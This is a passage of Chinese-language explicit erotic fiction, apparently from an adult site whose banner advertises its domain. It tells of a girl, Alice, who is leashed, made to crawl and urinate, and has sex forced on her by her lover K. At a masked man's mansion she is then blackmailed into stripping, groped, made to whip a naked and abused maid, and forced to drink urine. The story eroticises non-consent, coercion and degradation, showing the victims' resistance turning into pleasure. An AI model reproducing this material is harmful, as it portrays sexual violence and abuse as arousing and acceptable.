★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

伊甸柔情

  「啊呀!!」

锐利的刀锋划破胸衣,两粒着红宝石的水晶球圆鼓鼓地滚动出来。

「我们快回去吧!」

「为什麽要回去?我觉得现在正好。」

K修长的手指抚摸水晶球光滑细致的表面,然后一个不小心滑到闪着红光、晶莹剔透的碎钻塔,一层层攀爬起来。

「啊!不要、不行啦!!」

「怎麽,奶不喜欢吗?」

「不、不是、我……」

「爱丽丝……」

「K,我、我喜欢……我爱上你了,只要能跟你在一起……」「那好,奶先戴上这个。」K从大衣口袋里拿出一个附有金属炼的黑色皮套环,就像是平常戴在狗脖子上的那种。

「为什麽要戴这种东西?」

「这奶不要问,乖乖听话,戴上就是了。」

爱丽丝觉得万分羞辱,她不敢相信K会对自己要求这麽不合理的事。大滴珠滑落下她姣好的脸庞。

「解下!K,快帮我解下!!」

「爱丽丝,听我说,这个锁是联系奶我的锁,奶要是忍心就自己解开它吧!」爱丽丝说不出话来,她真的不愿意和K分开,只好暂时忍住被套上圈炼的羞辱。

「也许奶无法马上理解,但相信我,爱丽丝,我是真心爱奶的。」既然爱我为什麽要羞辱我?爱丽丝在心里问着。可是看到他那双深邃清澈的眼眸,她又马上相信了。

「我会试着了解的。」

「是吗?那我们走吧!」

K拉紧炼环,不知要把她牵到哪里。

「爱丽丝,只在地上用爬的!」

「什麽!?」她怀疑自己的耳朵是不是听错了。

「奶现在被挂上狗炼,当然要在地上爬罗!」

事到如今,爱丽丝也只能照着K的话去做。她勉强趴在地上,膝盖一碰到潮湿泥泞的地,就爬满鸡皮疙瘩。她想到随时可能会有人经过而被发现的时候,全身一阵发冷。

「来把屁股翘高一点!早知道应该把尾巴也带来。」到底要去哪里?K牵着自己漫无目标地走着,爱丽丝却再也不能忍耐。原来早在车上她就很想尿尿了。

爱丽丝逼自己想些其他事情,她开始数着经过的大树。一、二、三、四……一方面小心地放慢速度,不让贴着紧紧、相摩擦的蜜蕊再造成任何刺激。已经忍受不住了!!爱丽丝感到只要再稍微移动一步,就会牵动到接近饱和的储水口,汹涌的泉流眼看就要一发不可收拾了。

「K、我、我……」

「怎麽了?」

「可不可以把锁炼解开,只要一下子就好了。」「解开锁炼?」「对,我、我想上洗手间。」「哈哈哈!!奶从刚才就一直忍到现在……」

「所以拜托快点啊!」

「爱丽丝,据我所知,这附近可没有什麽洗手间。」「那、那怎麽办?」「奶就就地解决吧!!」不、不要!在自己所爱的人面前尿尿……

「K,你在做什麽?」

K用他强壮的臂膀拉起爱丽丝的项圈,让她靠在一棵树上。

「求求奶,放开我!!」

K根本不理会爱丽丝的哭喊,自顾自地在她隐密的渠道摸索起来。

「爱丽丝,奶不需要忍耐,放出来啊!」

K尽情地抚弄鼓胀的豆荚,然后顺着柔软的裂缝来回滑动。那个连爱丽丝自己都没有碰过的地方……「快放开,我要不行了!」「那就快点出来!!」

K非但没有松手,反而更加快手指摆动的速度。爱丽丝感到逐渐加重的力量,正一点点刺激着紧绷的内径,所有的神经都处在一种蓄势待发的状态。

被逼急的爱丽丝不得不拿手打他。不过,一个正在憋尿的女孩,又能有多大的力量?

「既然奶自己不肯出来,就让我来帮奶一把吧!」K把手放到她明显比平常膨胀的下腹部,接着就使尽全力压起来。

「啊、不要!不要!!」

「放轻松,爱丽丝,我这是在帮奶呢!」

尽管用尽一切方法抵抗,爱丽丝终于也忍不住放了出来。由狭长的水径流出、沿着大眼、膝盖、小腿、脚踝流下的金黄色液体,是一道非常温暖的泉流,爱丽丝甚至觉得它会就这麽一直流下去。

「呜呜……」

脸上的泉水也自动地解放出来,爱丽丝真希望能立刻就消失。她的身体颓然地倒了下来。K扶住她的身子,让她回复四肢着地的趴姿。接着就满意地蹲在她身后,从大腿用手划过那道被尿水沾湿的痕迹。

「爱丽丝,在别人面前尿尿是不是很丢脸呀?」「呜呜……」「清楚点回答!!」「丢脸,我觉得好羞愧哦!」

「哈哈哈!小宝贝,这我就高兴了!!」

说着就又抽出小刀,从后面把她的底裤切开。山谷中的悬崖峭壁、密林小溪很自然地露了出来。真是一片大好春光……「不要、K、不要看我那里!」「爱丽丝,很漂亮哦!都湿了……」

月光照进漆黑的树林,在爱丽丝的百宝箱下洒上一层华美绚烂的光采。K把头探进这一片光,舌头贪婪地抚过泛着水光的黑丝绒。

「啊、啊啊!K……」

K不理会爱丽丝故作娇矜的嘤咛,舌尖迳自玩弄起那粒饱满透明的珍珠。

「嗯、啊……」

爱丽丝原先低声的抗拒越来越像是动情时的低喘。以往出现在午夜遐思的情景正在发生……这种现实与梦境相交错的迷幻感,让爱丽丝不禁心荡神驰。

「K、啊啊!!」

「爱丽丝,我爱奶!我要奶的一切都属于我的……」K用手捧起爱丽丝的白桃,吹弹欲破的触感令他手指一阵发麻。他的口中开始渗进香醇浓郁的蜜水。

「爱丽丝,开始有感觉了……」

「K、我……」

「现在什麽都不用说,好好享受吧!」

K带有魔力的手指,正向在爱丽丝体内沉睡了十八年的淫乐精灵一点点输入召唤的咒语。

「嗯嗯、K……」

「爱丽丝,让我拥有全部的奶!」

意乱情迷的爱丽丝不再抵抗,她摆出淫荡的姿势,等待K在她的体内掀起最强烈的撞击。

「爱丽丝,放轻松,要进去、我就要进去了!!」「好痛、K、痛死我了!!」爱丽丝死命抓住地上的杂草,她的双手沾满被搅碎的烂草墨绿色的黏稠汁液。

「再忍耐一下……」

K的硬物直挺挺地沉入未被开封的蜜井,直到最深处……「啊啊!!」K感到尖端像被灌入一种喝的香水般的激动,肉头的每一个细胞都打开了,充分吸取这似有若无、如幻似真的美妙触感。

「K、再来啊!!」

爱丽丝忘情地嘶喊,她已经忘记刚才撕裂般的痛楚,整个身体如深海中柔软的海草,随着欢乐的波浪摆荡起来。

「啊啊!爱、爱丽丝……」

K在爱丽丝蜷曲如水晶高脚杯的身躯里,洒下他的琼浆玉露。

冷冷的雨落了下来,打在爱丽丝因激情而燃烧的身上。她觉得很舒服,就这麽动也不动地躺着。脑中像充满各种画面、却也像是一片空白……小小雨珠子打在身上敲出的单纯旋律,总算让她能够逐渐平静下来。在一旁的K站了起来,爱丽丝害羞地低下头、不敢看他。

「爱丽丝,奶终于是我的了,为了证明奶对我的爱,请奶顺着这条路走下去,到一座豪华的屋宅,我的朋友将在那里等奶。」「什麽!?」爱丽丝一点也不明白K在说什麽。

「奶得自己一个人去那里,无论屋里的男主人对奶要求什麽,奶都应该照做 」K眼看就要转身离去。

「爱丽丝,记得我们之间的约定,我会在适当的时候出现,到时候我们就能永远在一起了。」K走得很快,他像一个黑影子般一下子就看不见了。雨渐渐下大,像无数根针扎在爱丽丝细致白皙的身上。爱丽丝别无选择,她套上湿透的衬衫,拖着疲惫的脚步走向不知何处的华宅。

第三章濒临自我崩溃的凌辱生活

「主人,我把客人带来了。」

爱丽丝已经记不清自己是如何来到这里了。只知道昨晚在半昏迷的状态下走着,最后终于看到一座如梦中城堡般的豪华屋宅。勉强拉了一下铃,没等到人来应门,爱丽丝就昏倒在大理石冰冷的阶梯上。早上被刺眼的阳光照醒,才发现自己正躺在一张舒适的大床上。

宽敝的房间里充满了淡紫色的花香。一个名叫安娜的女仆招唿她,让她穿上纷红色的丝质洋装,接着就带她去见所谓的主人。

戴着白色面具的男人看到她,并没有什麽特别的表示,好像早就知道她的到来。爱丽丝搜索埋在面具下男人的表情,却只感受到他闪烁不定的目光。这就是K的朋友吗?

「奶就是爱丽丝吧?」男人的声音轻轻柔柔,如烟雾般飘送至耳里。

「我想奶已经听K说过了吧?我就是这间屋子的主人,在K来接奶回去前,就由我来负责招待奶。」爱丽丝根本不知道该说什麽。

「因为奶可能会在这里待上一段时间,我希望奶能跟屋里其他的女孩相处愉快。」爱丽丝觉得眼前的这个男人给人说不出的冷漠感,也许是因为那个平滑如瓷的白面具吧……「那就让安娜带奶去见见其他人。」「来,请走这边。」

安娜带她离开大厅,她才发现走在前面的安娜,其实是个跟自己年龄差不多、有着甜蜜笑容的女孩。

安娜穿着浅蓝色边的白围裙,留着一头齐肩的长发。整齐的浏海正盖在她光洁的额头上,更衬托出那对乌黑眸子的聪颖动人。

爱丽丝觉得她跟自己应该很快就会成为朋友。

「往这里是通向后面的庭院……」

温暖的阳光透过大片玻璃窗洒落进来,窗外正是一片雨过天晴的灿烂明朗。

「好漂亮的庭院!那个正在打扫的女孩是……」「她叫苏菲,跟我一样是这里的女仆。」苏菲和安娜一样是有着甜美外貌的妙龄女郎。唯一不同的是她那烫成波浪的齐肩长发和倔强的眼神,似乎正在说明她强烈的性格。

「苏菲,奶过来一下好吗?」安娜向她挥挥手。

「什麽事?」

「我给奶介绍,这是新来的客人爱丽丝。」

「奶好,以后还有要麻烦奶的地方。」

「没别的事了吧?对不起,我很忙。」

苏菲的语气冷冷的,爱丽丝甚至于可以感受到某种敌意。

「爱丽丝小姐,请不要在意,她对每个人都是这样的。」「我是不是说错了什麽?」「没有的,苏菲只是不喜欢和陌生人接触,请别放在心上。」爱丽丝好不容易才释怀。从小一直很得人绿的她,从没遭遇过这样冷淡的对待,难怪她要觉得受到伤害。

「现在我带奶叁观楼上的房间,这边请。」

铺着红色地毯的楼梯上正走下一个女子。她的年龄比其他女孩都大,茶褐色的长发衬托她温柔典雅的气质,看起来别有一番成熟的韵味。

「安娜,这位是……」

「恩雅小姐,她是昨天刚到的客人。」

「奶就是那个爱丽丝,欢迎欢迎!」恩雅露出亲切热忱的笑。

「这里很久没有客人来了,爱丽丝,欢迎奶随时来我房间喝茶聊天。」这个恩雅给爱丽丝很好的印象,她几乎是马上决定拜访完其他女孩后,就立刻去找恩雅。

「那我们待会见了!」恩雅优雅地走下楼去。

看着她离去的身影,爱丽丝真希望她能当自己的姊姊。有一个知心、无所不谈的姊姊一直是身为独生女的爱丽丝最大的心愿。

「这里就是其他女孩的房间。」

「安娜、那……」

「什麽事?」

「那个恩雅是这里的女主人吗?」

「嗯、这里并没有一般意义中所谓的女主人。」爱丽丝被弄迷煳了……没有女主人、却有三四个分不清彼此关系的妙龄少女……这、这究竟是怎麽回事?不过这好像是作为客人的爱丽丝所无权过问的。

「爱丽丝小姐应该大致清楚整个屋宅里的状况,如果有任何问题,可以去问主人或来问我,我待会会在用餐室里。」安娜暂时先离开了,不过煳涂的她居然忘了告诉爱丽丝主人的房间在哪里。

就在她在长廊闲逛、想发现主人的房间时,忽然碰到一个刚才并没有介绍认识的女孩。女孩剪着俐落的齐耳短发,锐利的眼神好像一下子就要把人看穿。

「奶是……」

「我、我……」爱丽丝结结巴巴,说不出话来。

「哦、我知道了,奶就是那个爱丽丝,脸蛋长得还真可爱!」「我……」「总算穿上衣服啦!?我听说奶昨天可是几乎光着身子爬到这里来的,可惜没有亲眼看到,就不知道奶衣服下的东西是不是一样可爱?」「……」眼前这个女孩说话句句带刺,好像根本就是故意找爱丽丝的碴。

「奶倒说说,奶硬赖在我们这里干嘛?我们这里又不缺女孩子……」「我、我又不是自己要来的……」「那是没人要、跟苏菲一样的小叫花子罗?呸、自己也不撒泡尿看看,这可是奶该来的地方?」女孩一边冷笑着,然后走向通往楼梯的方向,留下爱丽丝一个人在那里气得发抖。

爱丽丝最后总算找到主人的房间。

「有没有都见到大家?」男人还是维持他亲切中带着冷淡的态度。

「她们都是些很好的女孩,希望奶们能相处愉快。」爱丽丝什麽也没说,她想总不好第一天就开始告状吧?她相信自己一定有能力化解那个陌生女孩不友善的态度。

「嗯、她们都很热情地欢迎我……」

「在这里,奶爱做什麽都可以,读书、画画或到外面的庭院走走,就当是在渡假。」「真不好意思,打扰你了。」「别这麽说,这是我的荣幸,谁叫K是我最好的哥儿们!」在离开主人房间后,爱丽丝回到自己的房间,筋疲力尽地往床上一躺。脑中同时涌起无数的念头……她想K现在在哪里、在做什麽、是不是也正在思念自己?还有这里的主人为什麽要戴着面具,面具下的他有什麽不为人知的秘密吗?

总之,这是个谜样般的神秘男人……

这里的女孩们也不像爱丽丝从小的玩伴,不但脾气怪怪的,对自好像还有莫名的敌意。只有恩雅姐……爱丽丝已经在心里把她看作是自己的姊姊了。对了,不是约好去看她吗?这个念头如雨后的阳光,一扫爱丽丝心中霾。她打起精神,觉得这一切的谜一定都会解开的。

所有对称排列的门都关着。厚重的地毯把脚步声都吸净了,整个长廊沉浸在一片无尽的寂静中。爱丽丝走着,很自然地屏住唿吸。在转角处有一扇门好像半开着,狭长的光线射出来,让暗红色的地毯有了玫瑰花般的艳丽。

爱丽丝不知不觉地走到那扇门。前透过狭缝里传来女孩子急促的喘息声。

「啊啊啊……」

爱丽丝中邪般把视线投入,只看见躺在床上几乎裸露的安娜。

「安、安那……」

敝开的上衣露出她小馒头般的隆起,两腿张开,一旁是她粉红色蕾丝的底裤。

「嗯嗯……不行了!!」

她用手掌盖住那对轻俏的肉球,闪着珊瑚色泽的柔软触手从手指间深出头,尽情伸展着。爱丽丝知道自己应该离开,但两只脚就像被钉子钉死般再也动弹不得。

「啊啊……」

她用手指紧紧夹住的樱花瓣越来越坚挺了,眼看就要成为两颗熟透的樱桃。

「要、要去了……」

她同时用手指在身下深邃的蜜泉里拨弄着,快速抽送的手指上缠绕了一圈圈闪着银光的细丝。爱丽丝感到身上一阵阵热了上来,两腿间好像有谁在吹着热气,暖烘烘、黏答答的。

「嗯嗯……」

爱丽丝知道如果再看下去,自己一定会控制不住的。同时她也对自己身体的反应感到无比羞愧,一种混合了罪恶感的微妙感受逐渐涌上心头。

正当她想悄悄离开的时候,突然听到从里面传来安娜的声音。

「是谁在外面?」

爱丽丝一回头,正好碰上安娜的视线。

「我、对不起、我不是故意要偷看的……」爱丽丝不知所措地道歉。

「爱丽丝小姐,奶先进来,给别人看到奶在我房门口说话是很奇怪的。」安娜已经把裸露的身躯藏到棉被下。

「爱丽丝小姐、为什麽……」

走近时,爱丽丝才发现安娜的眼里早就盈满大粒的泪珠。她很能理解被人家窥视如此不堪场面的羞辱,心中对安娜感到更加的抱歉。

「我原本是要去找恩雅的,经过这里,发现门没关才……」爱丽丝的心勐然遽跳起来。她实在很难平静地面对刚才疯狂享乐、如野兽般的安娜。

「真的是非常对不起……」

「也怪我自己不好,在做这种事的时候,居然忘记关上门,不过爱丽丝小姐,请奶答应我,千万不要跟别人提这件事。」「放心,我不会告诉别人的。」接下来整个房间就笼罩在在一种尴尬的沉默中。

「那我先走了。」爱丽丝很不自然地和安娜道别。

她替安娜关上门后,不禁松了一口大气。下次见到安娜,一定要摆出若无其事的样子。她在心里对自己说着,一方面又很担心究竟有没有办法做到。

在经过这样的刺激后,爱丽丝再也没有心情找恩雅聊天了。就在她不断想着安娜赤裸的身躯、半昏昏然地要走回自己的房间时,身后冷不防传来有人叫她的声音。

「爱丽丝,等等我!」

「哦!恩雅,是奶呀?」

「奶一个人在这里做什麽,怎麽看起来一副失魂落魄的样子。」「嗯、我……」「是不是在安娜房间里看到了什麽,我刚才就看到奶一直站在那里。」「我,没、没有……」恩雅好像知道什麽……爱丽丝觉得自己像是被剥光了衣服的囚犯,正等待高高在上的法官的审判。

「这样吧!到我房间来聊聊,这里也好久没有客人来了。」爱丽丝尽量保持平静,另一方面她又想对恩雅说出刚才看到的一切。她知道自己最信赖的恩雅姐一定会安慰她,并告诉她关于在这里生活的种种。不过一想到跟安娜间的承诺,爱丽丝想还是什麽都不说的好。

「来、请喝茶。」

恩雅的房间布置得很雅致。全套淡色系的装饰,让人有炎夏进入冷气房般的舒适。

「爱丽丝,不觉得这里很奇怪吗?」

「嗯……」

「有没有想过,这里的一切都是属于主人所有的。」被恩雅这麽一提醒,爱丽丝对戴着面具的主人就更好奇了。确实尽管被面具遮住脸,他的年龄也绝不会超过三十岁。他为什麽要在偏僻的深山里建造这麽一所豪华的屋宅,也不像其他富贵家的纨裤子弟一样,家中舞会、PARTY不断。

「奶知道吗?我们全都很爱慕他,连安娜、苏菲也一样。」「恩雅,奶不是这里的女主人吗?」「哦!?我像是吗?呵呵!听奶这麽说我很高兴,不过可惜我不是,这里的事不是三言两语能够说清楚的。」爱丽丝像陷入无底的迷雾中。好像才刚看到模煳的轮廓、又被风给吹散了。

「无论如何,这里的女孩会留下来,可说全是为了主人的绿故。」听起来这里的主人简直跟毒蜘蛛没两样。好在爱丽丝已经有了她的K,不然搞不好也会一辈子被困在这里。

「爱丽丝,老实地告诉我,奶刚才究竟在安娜的房里看到什麽?」「没,有真的没什麽……」「嘿嘿,奶不说我也知道,安娜在那里脱光了衣服、摸摸吧?」「!?」爱丽丝惊讶地说不出话来。事到如今,她再怎麽否认也没有用了。

「安娜一直都是这样,她是故意把门打开的。」「哦?」爱丽丝不知道该如何反应。不过恩雅看着自己的眼神,倒是看不出任何说谎时的不安。

「所以一切都是奶的错,爱丽丝、奶这个偷窥狂!」「我……」「我要赶快去告诉大家,门最好关紧一点,免得又让我们看似天真无邪的爱丽丝小姐偷看去了。」「不、恩雅,求求奶别这麽说。」「这些可都是我亲眼看见的。」

「我、我绝对不是故意的。」

「可惜现在一切都太迟了,不过奶答应我的话,我还能考虑一下,为奶留个面子。」「恩雅,我答应奶,奶要我做什麽都可以。」「那好,奶把衣服脱了,让我看看奶的身体。」「这、这……」「不愿意是不是?那我现在就去告诉大家,小心点,家里来了个爱偷看人的色情狂。」「不、我脱我脱……」爱丽丝赶忙拉住就已经要开门走出去的恩雅。

「全部给我脱光,脱好就站到镜子前,我要仔细地看看奶。」恩雅的房间里挂了一个很大的穿衣镜。

爱丽丝害羞地解开作成花形的钮扣,粉红色的丝质洋装像一片云滑落下她窈窕的身躯。现在她身上唯一的遮盖物,就只剩下那套样式朴素的纯白内衣裤了。

「还在等什麽?快脱啊!」

「嗯……」

爱丽丝不得已,小心地解开胸衣的扣环,不等它掉下来,就用手紧紧掩住胸前。然后转身背对恩雅,脱下底裤。她光滑、接近透明的双臀美得像两块经过千雕万琢的玉璧。

「快站到镜子前,把手拿开!」

爱丽丝低着头、站在镜前。光洁的镜面映照出她如浴在粉红色水气里的一抹倩影。

「真的是美极了!!比我想像的还要动人……」恩雅的声音里混合了惊艳与嫉妒的奇妙情感。她的目光不断徘徊在镜中与真实的爱丽丝,彷佛想在这个完美的身躯找到一点点的瑕 .

「恩雅,可、可以了吗?」

爱丽丝一直没抬头。她从没看过自己赤裸的身躯,当然也就不知道它的美,其实是非常能打动人的。

「爱丽丝,也瞧瞧自己吧!」

恩雅用手扶起她的下颚,爱丽丝被迫正视镜中的自己。阳光洒在金黄色的长发上,像一层金纱蒙着泛红的脸颊。含苞待放的蔷薇花蕾有着无限的娇羞。被细致勾划出的三角洲顶覆盖的稀疏金毛,像某种稀有罕见的忘忧草。

「愿奶永远记住奶这时的美丽!」

「……」

「爱丽丝,奶知道吗?美丽是很难得而且易逝的东西,需要细心的呵 .」「恩雅……」恩雅的表情一变而为痛苦,她的声音也像是苦涩的咖啡,有一种说不出的低沉忧郁。

「我可以了解为什麽那个人这麽倾心于奶,如此美的头发、晶莹剔透的肌肤……」一边说着,恩雅就在爱丽丝身上摸了起来。她冰冷的指尖碰触到爱丽丝蜗牛触角般敏感的乳头。痒痒的滋味很快漫延到身上,所有的神经都在一刹那间骚动起来。

「不、恩雅,请奶不要……」

恩雅不理会爱丽丝的反应。她从后面抱住她,舌尖就如湿润的水晶球,在她颈间流利的线条滑动起来。

「不、不要这麽做……」

「小宝贝,是不是全身都要溶化了?」

「我……」

恩雅的手指拨弄琴弦般滑动在爱丽丝光滑的下腹间,随时一不小心,就会被卷进百幕达神秘的急流漩涡中。

「恩雅,请奶住手……」

恩雅在爱丽丝的项间尝到一串酸熘熘的水珠子。这才发现那是自己不知何时流下的泪……恩雅突然进开了爱丽丝。

「呜……」

被推开的爱丽丝完全搞不清状况。恩雅躺在床上,头埋在棉被里低声啜泣着。

「爱丽丝,出去吧!留我自己一个人在这里。」「恩雅!」「对不起,我对奶做了那样的事……」「……」

爱丽丝很快地穿上衣服。看着不知为何痛哭的恩雅,她有一种莫名的恐惧。

连看起来最值得信赖亲近的恩雅也……

爱丽丝冲到庭园里。

找个地方静一静、好好想一想,是她现在最需要的。充满阳光的庭园里,总算一扫屋内的阴郁。赤脚走在闪着晶亮露珠的草地上,爱丽丝感到无比的轻松。

再也不要去想女孩们和主人错综复杂的关系……还有恩雅对自己暧的侵犯行为……不、就这样享受嫩草单纯柔软的搔痒……爱丽丝笑了出来,想想这还是昨天以来真正开怀的笑。直到一只灰白花的小猫突然从大树边跑出来,抱住自己的脚,一边咪咪地叫。

「蒂蒂、别乱跑!」

一个扎着两个大辫子的女孩也跟了出来。当她看到爱丽丝时,就笑嘻嘻地跑过来。

「蒂蒂,快过来啦!」

淡金黄色的柔细长发在灿烂的阳光下闪亮,像是被刚打出小泡泡的蛋黄。女孩抱起叫蒂蒂的小猫,害羞地笑了笑。她那双圆滚滚的大眼睛眯成一条线。

「蒂蒂坏坏!真是对不起,希望没有吓到奶,我叫梅亚莉。」「没什麽,我也很喜欢小动物的。奶好,我叫爱丽丝。」这个叫梅亚莉的女孩子看来比爱丽丝年龄还小,尚未发育完成的细瘦身躯,有着小女生香喷喷的肥皂香。

「奶是新来的女孩吗?」

「嗯!」

「要一直住在这里吗?」

「我想不会。」

「唉呀!真讨厌,像奶这麽可爱的姊姊!!」

「梅亚莉喜欢这里吗?」

「喜欢!」

梅亚莉睁着乌熘熘的眼睛笑着。爱丽丝想起恩雅的话,她无论如何都无法想像这麽天真无邪的女孩,会对男主人有什麽爱慕之情。

「奶平常一个人都在做什麽?」

「我不是一个人,玛莉姊姊都会陪我玩。」

爱丽丝记不起刚才有谁被介绍为玛莉,除了那个不知名、对爱丽丝极尽冷嘲热讽的女孩。

「爱丽丝跟我一起来看好玩的!」

梅亚莉拉起爱丽丝的手,往庭园的角落走。

「梅亚莉,奶要带我去哪里?」

「奶跟着来就是了!」

庭园的角落很阴暗潮湿。爱丽丝觉得身上发冷,很想转身回去。

「不要!」

从深处传来女孩的哭喊声。爱丽丝一方面觉得毛骨悚然,一方面心里又被燃起无比的好奇心。她不禁放轻脚步,屏息跟在梅亚莉身后。

「笨蛋,还在假装什麽,动作快点!!」

爱丽丝透过浓密的树叶看过去……这、这不是就是刚才讥笑自己的女孩!?

她原来就是那个玛莉……

「还哭?哭死奶也是要给我吃下去。」

「好痛!」

玛莉脚下好像踩着谁。爱丽丝仔细看了看,才发现她就是刚才在打扫庭园、对自己非常冷淡的苏菲。她正被玛莉一脚踩在身上。

「呜呜……不要!」

爱丽丝才发现苏菲身上并没有穿衣服。她觉得一阵晕眩,根本没看清她们在做什麽。

「快啊!通通给我吃下去!!」

「啊啊……」

玛莉的高根鞋踩在苏菲纤细的脖子上。她的脸一半埋在落叶堆里,被腐叶、烂泥和泪水弄得污秽不堪。

「哈哈哈!怎麽样?很合奶口味吧?」

「呜呜……」

「给我好好回答。」

「痛、我……好吃、好好吃……」

玛莉高叉着腰大笑起来。

「奶这母驴要多吃点、长得肥一点才耐操哦!!」「我求求好,放了我吧!」玛莉的脚勐地踢了下去。

「臭驴子,谁准奶停下来啦?」

「啊、啊啊……」

苏菲被踢中的下巴彷佛歪了一边,尽管如此,她仍勉强咽下嘴里的树叶。躲在大树后面偷看的爱丽丝惧怕地抖了起来。她知道自己应该出面阻止这种不人道的虐待行为,不过却一点勇气也没有。

「哇!!」她突然跌了一跤,从大树后面滚了出来。

「爱丽丝,我说的没错,玛莉姊姊的游戏真的很好玩吧?」原来是梅亚莉冷不防地从背后推了爱丽丝一把。她还不知道自己闯祸了,仍兴奋地笑闹着。

「这不是爱丽丝吗?原来奶一直在偷看我们。」「我、我没……」玛莉满是轻蔑的眼光,像是一把利箭射来。在她脚下的苏菲则是一脸冷淡的敌意。

「奶来的好,正好跟这只母驴配一对。」

「不、奶这变态……」

「嘿嘿嘿……奶说我变态,那奶自己呢?」

「我……」

「奶不是一直躲在后面,看得津津有味……」

「对对对,爱丽丝看得好起劲哦!!」

「梅亚莉,别乱说,这、这是奶要我来看的……」「不管怎样,奶不是很乐在其中吗?如果不是梅亚莉把奶推出来,我们还不知道给奶看去多少!?」玛莉走过去拉起爱丽丝。

「来、一起来玩吧!」

「放开我!!」

玛莉折下一段树枝,硬塞到爱丽丝的手上。

「好好看我怎麽管教这愚蠢的畜牲。」

她又折下另一段树枝,就往苏菲的身上抽去。细长如藤条的树枝在苏菲赤裸的身上,很快就留下渗着鲜血的鞭痕。

「好痛!求求奶、饶了我!!」

爱丽丝心头涌起强烈的罪恶感。她知道自己应该阻止玛莉的恶行,却什麽也没做。现在连梅亚莉也拿起地上的树枝,往苏菲的身上打去。

「臭母狗,打奶、打死奶!!」

「哈哈哈……爱丽丝,好玩吧?也一起来哦!还是奶打算不听我的话……」「我、我绝不……」不等爱丽丝说完,玛莉一个巴掌就往她脸上甩来。

「不让奶吃点苦头,奶不知道厉害。还不快动手?不然待会趴在地上的就是奶。」「苏菲,对不起。」爱丽丝紧闭着眼睛,就往苏菲身上抽去。她发抖地连力量都使不出来。树枝只是轻轻划过苏菲伤痕累累的身躯。

「奶这算什麽?再给我用力一点!」

爱丽丝咬紧牙,一连用力挥了好几下。

「呜呜呜……」

听到苏菲的低泣,丽丝不禁睁开眼睛。映在眼里的是苏菲爬满了一道道乌黑淤血的鞭痕的身躯。

「苏菲、我……」

「对这种畜牲用不着道歉。哈哈哈!」

爱丽丝再也受不了这一切。她捂住满脸的泪水,往屋子的方向飞奔过去。后面还传来玛莉尖锐刺耳的大笑声。

爱丽丝跑回房间,就一头倒在床上,放声痛哭了起来。当然她伤心的不只是自己受到了侮辱,她也后悔对苏菲做出那样的事。这、这不就表示自己跟玛莉她们是一伙的……「我、我……」梅亚莉因为年幼不懂事,还可以原谅,可是自己……她哭得筋疲力尽,正在昏昏欲睡的时候……「爱丽丝,主人请奶过去。」门外传来敲门声,是安娜的声音。爱丽丝赶快擦干脸上的泪水,跟安娜来到主人的房间。

「请问有什麽事?」

「刚才从窗口看见奶哭着跑回来,是不是发生了什麽事?」「没、没什麽……」「爱丽丝,奶在我面前不需要隐瞒什麽,有事就直接说出来。」听男人这麽一说,爱丽丝的泪水就如崩堤般地涌了出来。

「我、我……」

「不用怕,慢慢地说。」

「在庭园,玛莉、苏菲……」

「玛莉对苏菲做了什麽吗?」

「她……树枝、打……」

爱丽丝已经泣不成声了。

「我想我已经知道奶要说什麽了,不过希望奶能尊重玛莉所做的任何事。」「尊重!?」「没错,玛莉其实是我妹妹,因为从小失去父母,我们被送到不同的亲戚家抚养。」「……」「不知道她曾经遭遇过什麽打击,总之她已经很难像一般人一样,享受正常的生活,我想她心里也是很痛苦的。」「这麽说……」「基本上我放任做任何她喜欢做的事,也算是作哥哥的我对她的补偿。」「……」「尽管别人可能觉得她很疯狂,不过我希望奶能从这个角度了解她。」经过这次的交谈后,爱丽丝在自己的房间里想了很久,直到安娜来叫她吃晚饭……当爱丽丝走进餐厅时,大家都已经坐在位子上了。安娜拉开主人对面的位置,请她坐下。

「大家都到齐了,就开动吧!」

「是的。」

「等一下,安娜。」

玛莉勐地叫住就要去厨房取菜的安娜。爱丽丝的眼皮拼命跳动,感到莫名的不安。

「安娜,奶还记得我刚才吩咐的事吧!」

「可、是玛莉小姐……」

「今天是爱丽丝第一次跟大家一起用晚餐,奶不该表达欢迎的诚意吗?」「玛莉小姐……」「奶还在废话什麽?」「安娜,照玛莉的话去做。」男人尊严地命令着。

安娜不再说说什麽,她拿起爱丽丝桌前的西式汤盘。

「爱丽丝小姐,欢迎奶加入我们的大家庭!」

说着,就爬上餐桌,把餐盘放在大开的两腿间。

「这、这是要做什麽?安娜,快停下来!」

安娜拉起淡蓝色的长裙,在那下面是白色蕾丝的吊袜带和裸露的丛林花草。

大家漠然地看她蹲下身子,对准餐盘。

「不、奶们是疯了吗?大家快阻止她啊!」

金黄色的液体逐渐注入白磁的汤盘里。

「哈哈哈……爱丽丝,这可是特别为奶准备的。」「安娜,快下来,奶不需要听玛莉的话。」爱丽丝的叫声在一片寂静中显得格外凄厉。除了她的叫声外,就是安娜的尿液滴滴答答落在盘里的声音。

安娜完成她的使命后,就面无表情地走下来,迳自回到厨房里。

「爱丽丝,现在换奶了。」

「我、我要做什麽!?」

「喝下去啊!安娜的百香果汁可不是每天有的喝哦!!」「不要!!」爱丽丝闭上眼睛,用力捂住耳朵。她的样子看起来就像是随时要发疯了。

「别装蒜了,谁不知道奶最谗……」

玛莉把盘子推到她面前。爱丽丝感到一种刺鼻的温热感直而来。

「奶还不快点,在干嘛?让我来帮奶吧!」

玛莉把爱丽丝的头硬压下去。爱丽丝的鼻尖碰到盘底,连鼻孔里都渗入那种冰凉的液体。她无意识地伸出舌头,开始小猫般地在盘子里舔起来。

「嘿嘿嘿、味道如何啊?奶这贱货……」

「……」

爱丽丝一言不发,只是中邪般死命动着自己的舌尖。盘里的液体逐渐减少。

「喂喂、我在问奶话,奶是耳聋了吗?好好给我回答喝尿的滋味如何。」「好喝!好好喝!!」「哈哈、贱人就是贱人,喝了别人的尿还觉得很得意。」玛莉的笑声像是一根针,狠狠插入爱丽丝朦胧的意识里。她一下子就清醒过来,才发现自己嘴里充满令人作呕的酸味。

爱丽丝捂着嘴,强忍住由胸口涌起的一阵心感。她对准厕所的马桶大口呕吐起来。

爱丽丝躺在床上,这时候的她连哭都哭不出来了。她模煳地想起和K之间的约定、这里的男主人、玛莉尖锐的嘲笑声……她想逃走,却连站起来的力量都没。有这一切究竟会如何发展,又要如何结束……难解的谜题重重地压在爱丽丝的身上,让疲倦至极的她很快进入梦乡。

第二天是个艳阳高照的大晴天。彷佛是在告诉人们,应该忘掉心中的烦忧,迎接大地灿烂的苏醒。可是这种天气跟爱丽丝的心情完全不搭配。她一大早就忧心忡忡地去找男主人。

